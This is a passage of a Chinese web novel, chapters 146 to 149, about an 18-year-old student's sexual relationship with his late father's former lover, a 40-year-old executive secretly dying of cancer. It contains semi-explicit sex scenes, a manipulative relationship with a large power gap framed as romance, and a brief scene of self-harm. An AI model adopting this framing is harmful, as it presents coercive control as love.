“哈哈哈哈哈。”萧疏笑得最上脸,却没发出多少声音,长腿过去踹了犯贱的原总一下。 方闻钟被定在原地。 他能听到里面在说什么! 萧疏?情人?小男友? 方闻钟脸红,着急又紧张,是在说他吗?他也十八岁,他听出来了,是原总的声音。 萧疏没反驳,方闻钟偷偷靠近门,在侍应生惊讶的目光中偷听,他听到了萧疏不怎么明显的笑声,还有最后一句温柔的话,“他叫方闻钟。” “……” 后面原总他们还聊了他女朋友的事,场合以一句‘还是年轻人好,不找事’为终点,方闻钟忽略了里面的轻视,只剩下萧疏那句承认,‘他叫方闻钟’。 “来了,”萧疏回头,朝方闻钟招招手,大家都看他,有和萧疏年纪差不多的,有和他差不多的,过了一开始的紧张,方闻钟激动地坐到萧疏旁边。 “哟!”有人对他敬酒,有人一直打量他。 还有一些更过分的被萧疏的眼神堵回去。 他们不知道,方闻钟心想,他已经知道了,萧疏向他们介绍过自己,可能以一个暧昧的身份。 方闻钟挺直腰背,离萧疏胳膊很近,抿着唇,现在萧疏的这帮朋友,都拿他当萧疏的男朋友看待。 意识到这个真相的时候,方闻钟开心涌上脸,红扑扑的很诱人。 在那些更放肆的取笑中,萧疏的胳膊搭在方闻钟后面,强势又不动声色地围着他,他低头,想说:“别听他们”,方闻钟转过来,亲昵地扑到萧疏身侧,跟他咬耳朵。 悄悄话,“萧疏,你喝了好多酒呀。” 萧疏:“你想尝一下吗?”他们头碰头,萧疏手放在方闻钟脑袋后面摸了摸,“只可以喝一点点。” 方闻钟笑得很灿烂,萧疏怎么还这一副什么都没发生过的样子,好像最近一直待他这样,温柔、体贴,保护、亲昵。 方闻钟看了看萧疏和他的距离,心里偷偷笑开了花,原来这是萧疏的喜欢啊。 方闻钟擅自下了决定,通过他偷听到的那段话,萧疏也喜欢他,他早已对他们的关系做出了改变并接受,“萧疏,”方闻钟亲上了萧疏的耳朵,“我不想尝,我听话。” 原总他们见到两人这样旁若无人,一时方闻钟耳边全是戏谑,“好,”萧疏把他头揽在肩膀上。 在那些关系被戳破的瞬间,方闻钟竟分不清,他脸红是因为羞恼还是怦怦、怦怦,压抑不住的心跳。 “方闻钟,你待会儿送萧总回去,”原总也喝得五迷三道,还不忘吩咐方闻钟。 萧疏看起来比原总状态好多了,但他现在也闭着眼,因为醉酒,脸上有一抹红晕,方闻钟坐立不安闻言使劲点着头。 他和那些在场陪酒的人不一样,方闻钟心想,虽然他刚才不用坐在萧疏大腿上喂他,但他现在有资格扶着萧疏送他回家。 他们的关系才不是别人那样。 男生关心脚下的路,扶着萧疏的胳膊搭在他肩膀上,脸上的认真和心里的愉悦交互相应。 “叔,”和司机一起把萧疏扶上车,方闻钟叮嘱,“你慢点。” 司机点点头,看方闻钟有点好笑,好单纯的小孩儿,他没有多言,将萧总准备送回家。 车上,萧疏一开始安静坐着,后来看着窗外,他眼神迷离,手却伸过来,抓住方闻钟的指尖。 一下一下,捏着他圆润的指头。 方闻钟把两人交握的手往下藏了藏,又关心萧疏的状态,他贴过去,“萧疏,你要开窗户吹一下吗?”他小声问。 萧疏转过来,他们脸离得很近。 萧疏长久地盯着方闻钟的唇,没回答他的问题。 方闻钟被吓回去了,乖乖坐在他旁边不敢再招惹。 送回别墅司机立马就走,方闻钟很难一个人将萧疏扶上楼,最终吃力地让他躺在沙发上,俯身要给他把衣服脱了。 动作间不小心扯出了裤子里的衬衣,萧疏拧着眉,二话不说把皮带解开,抽出来。 方闻钟愣在原地手抖了一下,又低头给萧疏整理衣服,热得他满头大汗。 萧疏好像闭眼睡着了,方闻钟还蹲在他旁边,“你要喝水吗?”。 “萧疏,你不能睡在这里。” “喝醉酒可以洗澡吗?” “喝牛奶可以醒酒吗?” 男生唠唠叨叨,一边查着手机一边观察萧疏,他似乎是不愿意走,也不愿意这样没用地留下来,试图做点什么,但萧疏不给他回应,于是方闻钟终于按耐不住,大胆站起身。 他低头,嘴巴贴着萧疏滚烫的额头,“萧疏,萧疏,快醒来啦,我要问你好多问题呢。” “啊。” 别墅里传来一声惊讶甜蜜的惊叫,方闻钟被萧疏拦腰抱在沙发上,萧疏只睁了一下眼,像蓄势待发又像被打扰的狼,他把男生抱在怀里,方闻钟不动了,忽地又起身,将方闻钟压在身下。 沙发顿时承载了两人翻身的重量。 方闻钟不敢置信,隐隐期待着什么。 萧疏起初在方闻钟脸颊上摩挲,用他干燥的又带着酒味的唇瓣。 后来,萧疏亲上了方闻钟的红唇。 唔。 贴着,碾压,含吮,试图分开。方闻钟的牙齿碰到了萧疏的舌头,他猝不及防张口,惹来凶猛的再也招架不住的对待。 方闻钟的肩膀被萧疏的手臂抱得有些疼,呼吸不过来的时候,萧疏像要把他嵌进自己的身体里,怎么接触都不够。 萧疏,萧疏,在甜蜜过后就是慌乱,方闻钟想喊叫他的名字,却又不是制止他停下来的意思,啵,两人亲到嘴角拉丝。 分开,不是因为够了,是因为这样还不够。 当他们的下面喧嚣着不舒服不爽时,萧疏站起身,将方闻钟抱在怀里大步上楼。 躺在萧疏的被子上,身体反应再也掩盖不住,两人都是,萧疏的反应让方闻钟有些恐惧尺寸,不由间滑过曾经发生过的事,可那些不愉快的画面又很快消失在方闻钟脑海。 因为这次他是愿意的,他是兴奋的。 人在期待的时候,反而会因为害怕表现出推拒,幸好,萧疏懂得他的心思,转眼间,两人脱到只剩下最后一点点,方闻钟身上的遮盖,全被萧疏粗鲁地一件件剥去。 他没见过他这个样子,方闻钟被萧疏逼得想哭了,又因为刺激眼角泪水要落不落,真实的皮肤相贴。 萧疏的酒好像醒了,他眼神很清明,方闻钟不知道那是不是自己情人眼里出西施,看他怎么都明亮,男人温柔地笑,压低头颅,靠近方闻钟耳朵。 咬一咬,舔一舔。 “方闻钟,可以吗?” 六个字的声音,就能要方闻钟的一辈子。 不疼。 这是方闻钟在漫长的折磨后冒出来的念头,浑身被汗洗过,天知道萧疏背着人对他的身体做了什么,他的耐心让他讨厌,他的好听话和呼吸,又叫方闻钟上头、迷恋。 “萧疏,我爱你。” 方闻钟对萧疏说,不用萧疏承认他对方闻钟的感情。 第146章 爱上了父亲的朋友 “醒了,”陌生的大床,房间黑暗空旷的让方闻钟有一瞬间失神,直到腰间传来一下一下似揉捏又似调情的抚摸。 他猝不及防转头,就看到萧疏用胳膊抵着自己的脑袋,立在他旁边笑。 四目相对,方闻钟立马羞红了脸,他下意识想躲到被子里面去,被萧疏捞上来了。 萧疏压在他脖子里闷声哼笑。 “可爱,”他摸了摸方闻钟额头,又抬起上半身,男人还没穿衣服,经过昨晚,方闻钟对他的身体格外熟悉,包括胸膛。萧疏极其自然地亲了亲方闻钟的嘴角,“昨晚咬破了,对不起。” 那一点点疼早被忽视到爪哇国去了,方闻钟清醒地被亲上的瞬间,就开始颤抖,瑟缩,然后红晕地躲在萧疏怀里。 “没,没关系。” 后面两个字他其实没说出来,因为萧疏已经伸了舌头,舌尖舔进去触碰到了他的上腭! 方闻钟发出了极其羞耻的声音,一瞬间手指抓着萧疏的胳膊用力。 把人亲到发懵,萧疏还说:“昨晚没戴,弄到里面去了,方闻钟,我给你弄出来?” 不说还好,一说方闻钟总怀疑有奇怪的东西正从他后面流出来,原来人害羞到极点,真的可以像烧红的烙铁一样! 萧疏伸手,方闻钟阻止,于是萧疏用别的代替了手指。 一切无需多言,趁着天光大亮但窗帘还未打开,他们可以当这是黑夜,再荒唐一次。 用行动代替语言,因为两人都竭力配合、欢快,所以不用说相爱。 精疲力尽、赤|裸裸坦诚,人就可以省去无用的多思,认清现实,方闻钟爱上了一个叫萧疏的男人。 他们身份差距很大,年龄也相差很多,但是他对他很好,关键是,萧疏,还是父亲的朋友。 想到这一点,方闻钟就极其羞耻地不敢面对自己。 随即他又说服自己,他们在半年前就已经发生关系了,现在让一切更合理似乎也说得过去,只不过,他再也不敢在萧疏面前提到关于爸爸的只言片语。 他们竟然做了,两次,三次。感觉比方闻钟发现他喜欢上萧疏还水到渠成,以前想到躺在一个男人身下,方闻钟会用强|奸一词形容,现在是臣服,是幸福,是我愿意。 说白了,感情大过天。 他很快用甜蜜形容他爱上萧疏后的每一天。 萧疏的手抬起他光裸的大腿,却将唇落在膝盖伤疤上,安慰他,“快好了宝宝,不用怕留疤,我给你找不留疤的药。” 和往常一样送他上下学,萧疏不用在司机面前装正经,抱着方闻钟在他腿上,一下一下啄他的脸、鼻子、嘴。 手却摸他屁股。 吃饭时也不老实,一边用各种美食诱哄方闻钟,一边满足他的口腹之欲后再满足自己的龌龊。 方闻钟也不是不愿意做那事,恰巧相反,因为年轻,因为生理冲动,他没有丁点抵抗能力。 可正是年轻,第一次谈恋爱,所以他想和萧疏有更多床榻之外的交流,那让他更喜欢。 “萧疏,明天那边有古集哎,你能陪我去吗?” “能,”萧疏不用思考。 “那工作呢,”方闻钟半趴在萧疏的办公桌前,眼睛亮晶晶的。 萧疏笑着玩笑,“公司除了我都很厉害。” “哈哈哈哈哈哈,”方闻钟好喜欢他这样说,并把工作推给原总。 于是萧疏就陪着方闻钟逛街去了。 集市上乱七八糟啥都有,多的是方闻钟没见过的古旧物件,他摇着一把扇子,萧疏牵着他的手。 走到一家小东西塞满了的店铺,方闻钟看到了很多小时候才见过的东西,比如一个小巧的录音机吸引到他的注意。 那是一个黄色的小挂件,录音机的样子,上面还有几个按钮,方闻钟试探地按了几下。 老板告诉他,“这能用,里面装盘磁带就好了。” 方闻钟笑而不语,哪有这么小的磁带,却最终买下了小录音机,萧疏付钱,顺手柄录音机挂他书包拉链上。 他们亲密地走在一起,偶尔驻足逗猫,偶尔弯腰看同一样东西,方闻钟脸上挂着暖洋洋的笑。 萧疏忍不住,亲他一下脸。 方闻钟赶紧朝左右观看,然后打一下萧疏的背,被萧疏整个抱在前面,用巨大的怀抱包围住他。 两人同脚走路,左脚,右脚,萧疏对方闻钟说:“好玩儿吗?” “哈哈哈哈好玩。” 夜里是另一幅样子,萧疏撕去伪装,他变得野蛮、可恶,听不进去人话,并发掘一切能动嘴的地方。 方闻钟可怜,可爱,又无可奈何。 年轻的身体虽然稚嫩、冲动,但他的灵魂深深纠缠着另一人,所以他都可以配合,越发叫萧疏沉溺于这美妙之中,对方闻钟爱到骨髓。 “萧疏,萧疏。” “方闻钟。” 后来,他的名字代替了深夜所有响动。 萧疏能叫出几十种不同的感觉,‘方闻钟’,这个世界上突然有了那么多对方闻钟的留恋,牵挂。 祝他现在开心,祝他未来顺利,祝他一切一切,都好。 方闻钟感受不到孤独,他甚至觉得有些热闹的过分。 小时候,怎么会觉得一个人晚上睡觉,会孤单呢? 男生从被子伸出腿,他再也共情不了那时的自己了。 辅导员突然拉住他,神神秘秘地说:“那天陪你逛街的是萧疏吧?” 萧疏这个名字从辅导员口中说出,都叫这个高大的汉子震惊、害怕,可他竟然看到萧疏和方闻钟在一起! 他们亲了! 方闻钟一下蹙起眉,神色严肃,把辅导员吓住了。 他摸摸鼻子,“我也不是多嘴的人,”啊他着实没想到方闻钟和萧总是那样的关系啊!辅导员现在已经在渊枢实习了,托方闻钟的福。 “你放心,我不会告诉别人的,但是……但是。” 他但是了好半天,方闻钟已经不想听下去了,心里既烦躁,又恼怒,管他什么事。 “但是萧总不简单,”辅导员压低声音,忽略方闻钟对他接近的排斥,在方闻钟耳边说:“你知道,我一直想进渊枢,所以从一些前辈、大佬跟前打听了很多有用没用的消息。” “其中一条,萧总交过很多男朋友!”他还没用包养、情人这两个词。 虽然他已经是这么想方闻钟的。 眼神中带着怜悯,还有一些关心,“你留个心眼,别叫萧总把你骗了。” 又出主意,“或者在他身边弄点好处啊,别小小年纪让人睡了最后还什么都没有,你也别指望他对你有感情……” “够了!”方闻钟一下扯开人,脸上是滔天怒火。 辅导员这一刻像他的仇人一般,他恨恨地看着他,最后吐出几个字,“我和他,不是你想的那样。”- 辅导员自认是好心的,萧总哪是方闻钟可以对付的,别被蒙在鼓里什么都不知道,陷得太深。 可方闻钟已经到最底了怎么办? 方闻钟听到关于萧疏以前的传言,说完全不信,是假的,说信,好像纯粹给自己找不自在,他只能压下所有的负面,相信美好的当下、未来。 去到萧疏公司,方闻钟又见到了原总。 原总看方闻钟的视线,有一股友好、怜爱,还有一些别的熟悉的东西,方闻钟敏感,那是看好戏吗?原总作为熟悉萧疏的人,也不看好他们之间的关系吗? 或者说,原总见他类似这样的多了,他再一次沉默欣赏,萧疏身边飞蛾扑火的人? 方闻钟脸白了。 萧总从办公室出来,把方闻钟从原总眼神下接走,“怎么了,”他擦着他头上的汗。 患得患失,原来这是爱情的另一面。 “宝宝,”方闻钟坐在萧疏腿上,主动深吻他,萧疏安抚,“这么黏人……” “不好吗?”方闻钟眼神惧怕。 萧疏认真,“方闻钟,我有没有告诉过你。” “嗯?” “你可能比我的命还重要。” 噗,方闻钟笑出来了,他没信。 但他被萧疏哄好了。 “还记得之前买的那个小录音机吗?”萧疏一手抱着他,一手操作计算机,“我找到能装进去的磁带了,”他告诉方闻钟一个地址,“你有空过去取怎么样?” 方闻钟惊喜,“真的能用吗?老板没有骗我?!” “嗯,不过磁带要自己录制。” “录什么?” “什么都可以,你想听的歌,想说的话……”萧疏:“然后按下按钮,它就可以重复播放了。” 因为这个,方闻钟彻底忘了辅导员的屁话,更加因为萧疏的举动开心起来。 “好呀,我去取。” 书包上的小挂件左右摇晃,方闻钟穿着衬衣,不小心撞到一个眼熟的人。 他们在店里擦肩而过。 那人手里的手机掉了。 “对不起!” 是萧疏的狗狗主人朋友。 他伸出戴绿色手表的手掌,和方闻钟握手,“好巧,没事。” 两人一同弯腰捡手机,方闻钟的腰直直地僵硬在半空。 他的天塌了。 手机显示屏上放着一张照片,照片中,是年轻的朋友,‘萧疏’和其他朋友等人。 而有一个人那么刺目。 方闻钟的父亲,抱着‘萧疏’的胳膊,两人紧紧贴在一起。 方闻钟无比清晰地知道,那是暧昧,那是发生过什么的感情,不是朋友! 第147章 “你卑劣无耻!” 方闻钟生了一场病,单纯从他身体表现来看可以这样形容,他枯坐在路边,眼睛惊愕无措地睁大,路过的纷纷扰扰都叫他颤抖不已。 洁白的脸颊上没有丝毫血色,只有额头密密麻麻的汗珠。他失控地掐着自己的手指。 “汪。”路过的狗叫了一下。 方闻钟差点跌进后面的绿化园里。 可能过了许久,方闻钟手忙脚乱地从自己书包翻出一个不用的钱包,钱包|皮子都快翻起来,泛着陈旧的古着色和腻味,他的手指又红又青,终于把里面那张照片抽出来了。 父亲和‘萧疏’。 方闻钟紧紧看着,眼泪落下的一刹那,差点把照片攥进手里毁坏。 方闻钟忽然把头抱住在路边无声地大哭起来,哭到后面声音怎么也忍不住,低语,啜泣,压抑着极致的痛苦。 他可以接受萧疏有过别人,甚至和那人相爱。 但他接受不了那个人是父亲!是他亲爹! 方闻钟心如刀绞,这意味着,意味着爸爸和妈妈的婚姻,就是一场彻头彻尾的骗局,而他是这个骗局最无法接受的罪恶的果实! 不被期待,不受欢迎,他们谁都不想要他。 方闻钟克制着,克制着不发出奇怪的尖叫,爸爸已经死了,自杀,真的是因为生意失败吗?妈妈很小就离开,方闻钟知道,唯一的真相可能能从她那里听到。 但是时至今日,揭穿这么大的谎言,不联系、不追问,是他能给母亲最大的尊重,她也不想要他,那他就不该再出现她面前。 小时候幸福的片段画面,原来是割不干净的陈年腐肉。 否定了方闻钟的前半生还不够,还要否定他的后半生。 方闻钟更接受不了,他可能是父亲的替身! 萧疏爱他吗?喜欢过他吗?至少他从未亲口承认过,是不是萧疏怀念旧人,才在他这里格外开恩,他被当成了爸爸的替代品吗? 恶心、厌恶,方闻钟扇了自己一巴掌,他突然变得极端不可理喻,疯狂地扇自己。 两颊红肿,方闻钟停手,他一定要去问问萧疏真相是什么,方闻钟从未这样鲁莽过,他不怕萧疏了,他只是迫切想知道,他算什么? 追去公司,萧疏不在,原总说‘萧总刚回家了’,他看着方闻钟古怪的样子,多嘴问一句,“你怎么了?有事?” 方闻钟嘴紧成蚌壳,朝着原总弯了一下腰,背著书包直接跑去老校区附近的别墅。 萧疏坐在一把轮椅上,他推着椅子,慢悠悠地出来停在花园边。 见到方闻钟,眼神里闪过千丝万缕,最后化作嘴边的一句平淡,“来了,脸怎么了?” 方闻钟扑过来,却停在萧疏的膝盖边上,蹲下来,他以为他会愤怒地抓住萧疏质问,可实际上看到他的瞬间,方闻钟就难过地懦弱下来,“这,这个人你认识吗?”他几次,才将那张他的旧照展示在萧疏面前。 萧疏看了良久,继而看向他,“怎么了。” 他是认识的,方闻钟明白了,伏在他腿上哭了出来。 忽的,他猛站起来,“萧疏,他是我爸爸,是你的初恋情人对吗?” “嗯。” 萧疏承认道。 方闻钟一口气没喘上来,他都赌对了! “咳,呵,”他似咳非笑,那张照片彻底在他手里被攥成一团,“你喜欢我爸?”他眼睛里烧着一团火,眨也不眨地看矮他一头的萧疏。 萧疏哪怕坐着,依旧强势不损分毫,他手放在两侧,不屑挑眉,“谁告诉你的?” “还用谁告诉我吗!证据就在这里了!” “我说,谁告诉你,我喜欢他。” …… “不喜欢?” “不喜欢。” 切,方闻钟气笑了,萧疏承认他和父亲有过一段,却否认感情的存在。他好像第一次真正认识这个人,他的冷漠风流此刻血淋淋地摆在台面上!方闻钟不敢触碰。 他捂住自己的脸,眼泪滑过指尖,“那我呢,我呢?”他声嘶力竭。 “你喜欢我吗?”他的眼神看起来快碎了。 萧疏今天格外沉稳尖锐,还夹杂着数不清的嘲讽,“不喜欢你?那我花那么多心思陪你玩儿?方闻钟,你觉得我是一个多情的慈善家吗?” 在他的言语和注视下,方闻钟站不稳,萧疏推着轮椅到他面前,男人持续攻击,“更何况,一开始是你主动走到我身边的,方闻钟,”萧疏一下一下摸着他的手腕,松开。 “直到你亲我,我没有做出一丝冒犯你的行为,”他抬眼,眼神里是势在必得,宛若用陷阱牢牢抓住猎物的狼一样,“我等你愿意了,我才和你做的。” 方闻钟被短短几句话击穿!萧疏一开始就对他感兴趣,萧疏一直旁观着他陷入他的温柔。 可笑,可悲,方闻钟倒退了两步,从始至终他都被看穿,然后傻傻地跳坑,他以为的一场心动、恋爱,不过是萧疏的极致掌控和狩猎。 可能真喜欢他吧,但当萧疏把他的那些对方闻钟的好,说得这么赤裸裸带有目的性,方闻钟忽然不知道该相信什么了。 被耍了,还是被爱了? 萧疏的世界,四十岁的男人的世界,他不懂。 他只有一个疑问,“我和我父亲的关系,你刚才才知道吗?”知道你上了你初恋情人的儿子!还是一开始就瞭然于心。 萧疏双手交握,靠着椅背,“我知道,方闻钟,你的信息从你从我床上下来的那一刻,我就都查过,那又怎么,”显然萧疏一点都不在意,他确定地说:“我喜欢你而已。” 方闻钟紧紧攥着自己的拳头,他要被怒火燃尽了,萧疏的面目突然在他眼里可恶起来! 他的诚实,逼得方闻钟最后从喉咙里挤出几个字,“好玩儿吗,萧疏。”好玩吗!看他步父亲的后尘,喜欢上他爱上他! 萧疏被问愣了,他停顿一瞬,然后目光滑过方闻钟的身体。 头,肩,腰腹,屁股,大腿。 多么令人熟悉啊,原来他第一天去渊枢资本时,萧疏就表达出了他的目的,方闻钟还感激他的平易近人。 他难堪地捂住脸,萧疏:“你说你吗?” 男人敲着轮椅扶手,“的确好玩……” 砰!萧疏被怒火中烧的方闻钟一拳头揍在脸颊上,方闻钟用了十成力道!随着一拳落下轮椅摔倒!他也倒在萧疏身上,萧疏的嘴角破了流出一点血,‘好玩’的尾音被彻彻底底吞回去。 方闻钟哭得眼泪鼻涕横流,被耍了!他们同病相怜,“你卑劣无耻!”他这样痛骂萧疏。 手下还一拳一拳打在萧疏胸膛上,只不过后来的力道像断腿的小猫。 萧疏收了脸上所有多余的表情,他抓住方闻钟作乱的手,挨一下,不代表他可以让他为所欲为。 萧疏仍倒在地上,却用另一只手擦了擦嘴角的血迹。可以,至少方闻钟学会打人了,不是一个人躲到孤独的角落当行尸走肉。 方闻钟就骑在萧疏身上那样哭着,萧疏始终抓着他的手。 当方闻钟因为哽咽呼吸困难时,萧疏低头,说:“方闻钟,受不了就离开。” 他的手终究没有落到他后脑勺上安抚他一下,方闻钟被萧疏的话一句句逼退。 他起身,抱著书包,几次趔倒终于头也不回地冲出了别墅。 第148章 后路 系统:“你为什么要这样逼他离开,方闻钟很难受的,”系统都看在眼里,又说:“这样渣攻属性还能清零吗?” 萧疏狼狈地从地上起来,昂贵的西装外套上沾了土,他要扶起轮椅时,忽然弯着腰半天没站起来。 “宿主?”系统叫了一下,忽然反应过来,不敢吱声。 直到萧疏再直起腰,它看到萧疏脸色很僵,散发著灰白,他用手狠狠捂住自己的右上腹部,那里刚才疼得像要他命一样。 萧疏将轮椅扶好,还笑着想坐上去,最后还是觉得走路更方便,他粗糙地拉着椅子,走回别墅。 “这是剧情需要不是吗?”萧疏对系统说。 方闻钟心里一直记挂着父亲这个人,他总要从萧疏身上套回去一点信息,所以早晚的事,躲不过。 解不开父子这个心结,他就永远绕不过这段剧情,渣攻属性也不可能清零。 萧疏把真相铺开在他面前,让他一步步接受。 还不忘确定地告诉他,萧疏喜欢方闻钟,无关别人,从始至终。 爱可能会被言语蒙蔽,但不会消失,逼他走,无非是医院的检查单已经积攒了一摞,萧疏确诊,癌症。 他没有多少时间了,却还有很多事要做。 萧疏重掌渊枢资本大权,却不是为了权力,而是为了清算、控制,在退出之前,把他所有的资产毫无保留地留给方闻钟之前,萧疏一定会解决掉所有遗留问题,让方闻钟拿到手的,不是无法控制的徒惹人觊觎的香饽饽,而是真正易主,属于方闻钟的东西。 男人一日不落出现在公司,从早忙到晚,最后一个深夜离开,司机接他一个人回家。 萧疏谈了很多中高层,所有控股的集团公司都一一洽谈过来,商业合作夥伴都和萧疏有过或多或少的交流。 原总看到他这一系列动作,还以为萧疏有别的行动,特兴奋地问他,“又打算扩张了?”,说萧疏没有看好的新领域原总才不信,他这么折腾,难道不是想再大干一番? 原总甚至取笑,“最近没见那小孩儿了,闹掰了?” “哼,情场失意商场得意,没想到区区方闻钟,还有让我们萧总再冲动一回大展身手的时候。” 萧疏一直摁压着腹部,疼痛都习惯了,他看着另外一个创始人,之所以最后告诉他,是因为他对他还别有所求。 “我要退出渊枢资本,股份一半给你,”原总正摆弄萧疏桌子上的小摆件呢,闻言错愕地怀疑他没睡醒,或者换了个人说梦话? “萧疏!” 萧疏的一句话没说完整,忽然吐血,被原总送到了医院! 几日后的清晨,他们在病房内沉默,都没看对方,原总知道了萧疏的病情。 几乎没有治愈的可能,很严重,最理想也是维持萧疏的现状,可他已经出现严重的腹痛吐血等症状了,原总在萧疏没醒过来之前,就仔细观察过他,印象中不可一世的男人,生了病也会憔悴。 可能是前段时间萧疏熬得有些狠了,他鬓角的头发垂下来,萧疏也老了,也不是所有事情都能战胜的。 萧疏睁眼,第一句话就是没说完的交代。 一半股份给原总,原总将成为渊枢资本真正的掌权人,第一大股东,另一半给方闻钟,但是有条件,原总必须保证方闻钟的全部利益他才能拿到那部分股权的真正生效期。 “方闻钟在没成长起来前不会威胁到你,你放心。” 萧疏也不会完全信任原总,所以他设了诸多条件,萧疏退出,原总为了渊枢资本,逼也把他逼得必须扶持方闻钟。 原总一口气没上来,虽然他对他的提议太他妈心动,但是,“萧疏,你快死了!” 他吼道。 “我知道,”萧疏极其平静,继续看着原总说:“现在方闻钟不缺钱不缺事做,以后他想来渊枢资本的话,你多培养培养他,不要把他推出去。” 方闻钟很厉害的,不要让他当一个闲散董事,萧疏这样对原总笑说。 原总忽然心里有些难受,“你要把你所有的财产留给方闻钟?就因为你快死了?” 原总像看怪物一样难以置信地看萧疏,你他妈到四十岁了犯什么傻! 萧疏沉默,“我死不死,我的东西都可以是他的,”他说。 萧疏对‘死’这个字眼没有避讳,他只怕在他死之前,方闻钟还没真正解脱出来,他救不了他,所谓的渣攻属性没办法到0,他还怕即使到0了,最后一个世界了,方闻钟会消失吗? 第二个比他死了还让萧疏难以接受的念头,深深埋在他心里,只在恐慌时偶尔闪过,然后又被萧疏极力压下,他现在能做的,就是用尽一切办法对方闻钟好,方闻钟还会回来的,他知道。 因为方闻钟爱他,萧疏咬着牙齿。 原总坐在床尾有些垂头丧气,他斜晲被下了降头的萧疏,“有必要吗?到这种程度了?”他怀疑地看向萧疏,“你爱他?”。 爱这个字放在萧疏身上,原总说出口的时候都觉得有些尴尬别扭,可除了这个,没办法形容。 萧疏笑了一下,他似乎脑中思考了很多,重现在原总面前的表情,安稳,平和。 原总忽然就明白了,无论多难以理解,萧疏早已做好了决定,他只是被通知,甚至被逼着同意的那一方,他终究妥协。 男人颓废地抹了一把发际线,“我要回去了,再和你一样熬熬,我也快猝死了!还没人让我惦记给我收尸……” 萧疏出院了,他拖着病体还要做很多事,很多时候司机看着他总想叫他停停,休息一下,但萧总的决定他无权置喙,只能听从安排,再看着萧疏像耗尽他最后的生命一样,见很多不认识的人,不知道忙什么。 萧疏成立了信托基金,渊枢以外的资产,他一大半捐出去,只为未来有可能成为方闻钟不知名的后盾。 另一小部分交给职业经理人打理,足够维持方闻钟优渥的生活。 其余所有动产不动产,都归于方闻钟。 方闻钟一夜暴富的时候他并不知道,萧疏此时就在他们学校见他的老师。 上次讲座的教授、校领导,还有一些专业老师,萧疏对每一个人都很客气,他不用明说要帮方闻钟干什么,只让他们多照顾照顾他,关心他,不止在学校里,未来工作了,有什么事他们可以帮忙走动,出出意见。 萧疏为方闻钟拉了一个人生导师团,其中以萧疏的公司人脉为主,都是各个行业的老板,以学校老师为辅,他们共同有一个目标,未来对方闻钟心存善意,尽量伸出援手。 还有照顾方闻钟衣食住行的管家、厨师,保护方闻钟安全的医生、保镖……等等等等,萧疏把所有可能都想到,尽量让方闻钟未来遇到什么事都能解决,不是很重要的小事也有人照料。 有人帮助他学习,有人为他的事业领路,有人操心冷暖,有人守护安全。 在这之后,无数行业的陌生人,慈祥地看一个叫方闻钟的十八岁小男孩儿,他们的目光铺就方闻钟坦荡的未来。 那是萧疏留给他的,后路。 第149章 “方闻钟,宝宝我想你了。” 原总再次陪萧疏去医院治疗,那男人消瘦了很多,明明一副弱不禁风的样子却还逼着他做各种萧疏没做完的事,要求他以后怎样怎样,太他妈唠叨了。 原总骂他纸老虎,但毕竟还是老虎,他这只狐狸也只能听着。 深夜酒吧喝酒,朋友关心他最近怎么清心寡欲了,又提起萧总,萧总的病情还没有对外公布,原总一字不露,调侃间说到方闻钟,“我看萧总最近不怎么和那个大学生来往了,分了?” 原总压下心里的脏话,压低眉头警告他们,“别搞事,方闻钟现在也是我祖宗!” “……” 时间匆匆而过转眼已经半年。 方闻钟像没事人一样,他大一结束,学习成绩很好,拿到了国奖,正式成为一名大二学生。他的人缘好了很多,针对他的男生变少了,尤其女生,多的是喜欢跟他说话,或凑到他面前打招呼欣赏他的脸,遇到这些,方闻钟都会回以善意的微笑。 他身上的锋芒被拔光,还学会了伪装,好像从萧疏家离开的那天,他就丢掉了一部分灵魂。 那部分灵魂热情、赤忱,较真、阳光。 通通留在了过去,因为方闻钟觉得自己不配拥有它。 在夜晚无人的时候,他会用最厌恶的感觉贬低自己,在白天的时候,他又成了进步飞速的学长。方闻钟也成了别人的‘学长’,‘白月光’。 事关父母的旧事,方闻钟出生的真相,他不追问不评价,对萧疏的责怪,更是无从谈起。 毕竟已是过去,方闻钟迟迟放不下的,是他和父亲爱上了同一个男人,无论萧疏怎么说方闻钟是在他的诱导下一步步深爱上他的,但方闻钟的的确确爱上了他!且情逐日深,他想念他的容貌、声音,想念在他身边的被照顾、温暖,想念可以肆无忌惮地做自己,令他害怕的自己,比如在床榻上和萧疏抵死缠绵。 每每想到这个,方闻钟都极其痛苦,他恨不得捶自己的头,可萧疏没有一刻从他的脑子里被捶出去过。 萧疏欺负他,明明知道父亲的渊源,却还是要和他在一起。 方闻钟却放不下他,他理应干脆利落地离开,再也不要见他想他不是吗? 大脑不受控制,身体也不受他控制。 听到学校有一个讲座,好像是渊枢资本的一位前辈来了,还是A大校友,方闻钟尽管内心知道希望渺茫,却还是跑去看讲座。 下了课,他旷掉和同学约好的小组讨论,急匆匆地迈着长腿跑去会堂。 他在门口急喘着气,打开的一点门缝里,看到台上的人不认识不是萧疏,方闻钟弯着腰愣在原地久久没缓过来。 抬起头,他眼睛红了,机械地往宿舍走。 浴室水流冲刷着他的大脑,他的身体颤抖、泛红,方闻钟终究把手放下去。 在那迟迟没纾解过的地方,萧疏各种碰过的地方,堕落、沉寂。 颤抖着出来时,方闻钟再也受不住,在水流之下无声地干嚎,大哭。 他的挣扎显得有些可笑,身体被分裂成两半,一半唾弃一半走不出萧疏的包围。 方闻钟爱萧疏,明知道他和父亲有过什么,明知道因此他的由来是一个噩耗,却依然在心里纂改不了这个事实。 于是他接受了,只是表面坦然。 方闻钟变得虚伪,他能面不改色地听别人提起渊枢资本、萧疏,能放过自己,想他就想他,想过了继续学习,哪怕在浴室里自助也能安慰,不过是正常生理现象,他还年轻。 萧疏就这样成了他的一个寄托,他不用见到他,方闻钟翻看着一张张和萧疏一起滑雪的照片,面无表情地怀念。 忠诚被分左右,左边是对自己的良知、伦理负责,右边是对他的爱情托底。 周五下午,方闻钟从一个老教授那儿回来,他这学期选修了教授的一门课。 课上方闻钟其实没多表现,只是尽量坐在前排,每次都认真听完、做笔记,或许是他的这点引起了老教授的注意,他频频提起他回答问题,逼得方闻钟课下更加学习认真,多准备,然后课上再被老教授指导、欣赏…… 教授检查完他的作业,又推荐他一些学术论文看,“多了解了解,”他拍着方闻钟的肩膀,方闻钟从他办公室走出来,还有点受宠若惊。 最近好像,他的专业课老师也对他关注了很多,方闻钟走在路上,察觉到自己越来越多课外的别的同学没有的作业,顿了一下脚步。 真是甜蜜的负担。 方闻钟背著有些重的书包,脸上挂着笑回宿舍。 宿舍里正在进行大扫除,一帮男生翻出好多没用的东西,“我去!这是你一年前扔的垃圾了吧!怎么往柜子后面扔?” “这个也扔了,收拾干净。” “……” 